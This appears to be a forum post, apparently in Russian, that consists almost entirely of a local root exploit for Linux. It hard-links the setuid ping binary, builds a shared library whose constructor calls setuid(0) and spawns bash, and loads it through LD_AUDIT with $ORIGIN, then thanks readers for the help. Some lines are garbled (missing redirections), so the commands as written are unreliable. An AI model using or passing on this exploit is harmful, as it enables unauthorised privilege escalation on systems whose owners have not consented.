mkdir /tmp/dn

ln /bin/ping /tmp/dn/target

exec 3 payload.c

void __attribute__((constructor)) init()

{

setuid(0);

system("/bin/bash");

}

^D

gcc -w -fPIC -shared -o /tmp/dn payload.c

LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3

Вот что помогло, всем спасибо!